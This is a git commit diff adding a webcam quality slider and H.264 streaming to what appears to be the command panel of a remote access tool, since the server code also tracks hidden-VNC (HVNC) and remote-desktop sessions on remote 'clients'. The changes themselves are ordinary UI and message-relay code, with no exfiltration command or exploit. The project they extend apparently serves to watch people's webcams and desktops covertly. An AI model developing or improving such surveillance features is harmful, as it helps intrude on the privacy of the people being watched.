add quality slider to webcam and implemented H264

This commit is contained in:
KingKDot
2026-04-03 10:21:26 -05:00
parent 3a349b0608
commit c9abed48a1
6 changed files with 177 additions and 3 deletions
+63
View File
@@ -15,6 +15,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const refreshCameras = document.getElementById("refreshCameras");
const fpsInput = document.getElementById("fpsInput");
const applyFps = document.getElementById("applyFps");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
const codecH264 = document.getElementById("codecH264");
const codecMode = document.getElementById("codecMode");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const canvas = document.getElementById("frameCanvas");
@@ -34,6 +38,43 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
let hasRenderedFrame = false;
let drawPending = false;
const codecPrefKey = "webcamCodecPreferH264";
let prefersH264 = typeof VideoDecoder === "function";
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
prefersH264 = false;
} else if (storedCodecPref === "1") {
prefersH264 = typeof VideoDecoder === "function";
}
if (codecH264) {
codecH264.checked = prefersH264;
codecH264.disabled = typeof VideoDecoder !== "function";
}
function setCodecModeLabel(mode, detail) {
if (!codecMode) return;
const suffix = detail ? ` (${detail})` : "";
codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`;
}
setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred");
function updateQualityLabel(val) {
if (qualityValue) {
qualityValue.textContent = `${val}%`;
}
}
function pushQuality(val) {
const q = Number(val) || 90;
const codec = prefersH264 ? "h264" : "jpeg";
console.debug("webcam: pushQuality val=", val, "q=", q, "codec=", codec);
setCodecModeLabel(codec, "requested");
send("webcam_set_quality", { quality: q, codec });
}
function buildScreenshotFilename() {
const ts = new Date().toISOString().replace(/[:.]/g, "-");
return `webcam-${clientId}-${ts}.jpg`;
@@ -336,6 +377,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
ws.onopen = () => {
requestCameraList();
applyFpsSettings();
pushQuality(qualitySlider ? qualitySlider.value : 90);
if (desiredStreaming) {
send("webcam_start");
setStreamState("starting", "Starting");
@@ -411,6 +453,27 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
});
if (codecH264) {
codecH264.addEventListener("change", function () {
prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
if (!prefersH264) {
destroyVideoDecoder();
}
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
});
}
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
qualitySlider.addEventListener("input", function () {
updateQualityLabel(qualitySlider.value);
pushQuality(qualitySlider.value);
});
}
applyFps.addEventListener("click", () => {
applyFpsSettings();
});
+23
View File
@@ -52,6 +52,29 @@
<i class="fa-solid fa-sliders"></i><span>Apply</span>
</button>
</div>
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
>
<label for="qualitySlider" class="text-slate-200">Quality</label>
<input
id="qualitySlider"
type="range"
min="10"
max="100"
step="5"
value="90"
class="accent-sky-400"
/>
<span id="qualityValue" class="pill pill-ghost text-slate-100">90%</span>
</div>
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
>
<label class="flex items-center gap-2 text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
<input type="checkbox" id="codecH264" checked /> H.264
</label>
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
</div>
<div class="flex items-center gap-2">
<button id="startBtn" class="button primary">
<i class="fa-solid fa-play"></i><span>Start</span>
@@ -482,11 +482,12 @@ function handleRemoteDesktopFrame(payload: any) {
};
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addWebcamSession(session);
@@ -554,7 +555,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
return;
}
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false, quality: 90, codec: "" };
switch (payload.type) {
case "webcam_list":
sendDesktopCommand(target, "webcam_list", {});
@@ -586,11 +587,21 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
case "webcam_start":
if (!state.isStreaming) {
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
sendDesktopCommand(target, "webcam_set_quality", { quality: state.quality, codec: state.codec });
sendDesktopCommand(target, "webcam_start", {});
state.isStreaming = true;
webcamStreamingState.set(clientId, state);
}
break;
case "webcam_set_quality": {
const quality = Math.max(0, Math.min(100, Number(payload.quality) || 0));
const codec = String(payload.codec || "").toLowerCase();
state.quality = quality;
state.codec = codec;
webcamStreamingState.set(clientId, state);
sendDesktopCommand(target, "webcam_set_quality", { quality, codec });
break;
}
case "webcam_stop": {
const otherWebcamViewers = sessionManager.getWebcamSessionsForClient(clientId)
.filter(s => s.id !== ws.data.sessionId);